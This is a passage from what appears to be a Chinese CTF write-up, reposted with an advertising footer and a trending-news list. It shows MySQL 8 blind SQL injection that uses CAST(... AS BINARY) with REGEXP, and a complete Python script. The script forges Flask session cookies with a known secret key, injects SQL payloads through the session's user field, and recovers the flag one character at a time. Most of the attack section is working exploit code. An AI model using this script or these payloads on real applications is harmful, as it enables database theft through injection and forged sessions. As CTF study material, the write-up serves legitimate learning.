select profiles from users where username='1'||(select(flag)from(flag))/**/regexp/**/binary/**/0x7c#';
我们可以控制最后面的 0x7c 数据来匹配注入得到数据库里的数据。在网上关于mysql的regexp注入的方法都是像上述这样的,但是这里我们要注意:
/proc/self/environ 中的hint 说了 Mysql 8, and I executed CREATE DATABASE ctf DEFAULT COLLATE utf8_general_ci
,当前数据库版本为 mysql 8,而在该版本中,MySQL不允许 REGEXP BINARY
在 "nonbinary"类型的数据上使用,不管他是CHAR, VARCHAR还是 TEXT。
在对utf8_general_ci类型的数据直接调用 regexp 时会报错的:
要想正确使用regexp与binary,我们需要结合CAST 关键字来将查询的结果转换为binary类型(还可以通过like或者条件运算符进行绕过):select profiles from users where username='1'||CAST((select(username)from(users))/**/as/**/BINARY)/**/regexp/**/binary/**/0x5e61;
这样就可以成功执行了。
最终我们编写如下盲注脚本:
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import base64
import pickle
import string
def str2hex(string): # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x','')
return '0x'+result
def MakeSession(payload): # 伪造 session
app = Flask(__name__)
app.config["SECRET_KEY"] = "ookwjdiwoahwphjdpawhjpo649491a6wd949awdawdada"
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session_str ={"islogin": True,"user": payload}
fake_session = session_serializer.dumps(session_str)
#print(fake_session)
return fake_session
def exp(url, session): # 攻击
cookies = {
"session": session
}
res = requests.get(url=url, cookies=cookies)
return res.text
if __name__ == "__main__":
flag = ''
url = "http://host:ip/home"
#payload = "1'||(select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))regexp({0})||'"
#payload = "1'||(select(group_concat(column_name))from(information_schema.columns)where(table_name)in('flagggishere'))regexp({0})||'"
#payload = "1'||(CAST((select(group_concat(username))from(users))as/**/BINARY)regexp(binary({0})))||'"
payload = "1'||(CAST((select(f1aggggggg)from(flagggishere))as/**/BINARY)regexp(binary({0})))||'"
for i in range(100):
for j in string.ascii_letters+string.digits+"_,{}-":
if j == "{": # 这里要对 payload 里的 { 和 } 进行转义一下
j = "\{"
if j == "}":
j = "\}"
user = str2hex('^' + flag + j)
payloads = payload.format(user)
session = MakeSession(payloads)
#print(exp(url, session))
if "Administrator" in exp(url, session):
flag += j
print("[+] " + flag)
break
最终在 flagggishere 表的f1aggggggg字段中得到了flag:
去掉反斜杠后即为flag。
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 习近平拉美之行的三个“一” 7938602
- 2 山里藏价值6000亿元黄金?村民发声 7973799
- 3 微信或史诗级“瘦身” 内存有救了 7853964
- 4 中国主张成为G20峰会的一抹亮色 7700372
- 5 朝鲜将军队提升至战斗准备状态 7667564
- 6 广东潮汕现“关门潮”?社区回应 7560900
- 7 女教师被指出轨学生 校方通报 7432401
- 8 美元创下一年来最长连涨纪录 7378028
- 9 带96岁母亲酒店养老遭拉黑 男子发声 7224786
- 10 千年古镇“因网而变、因数而兴” 7126008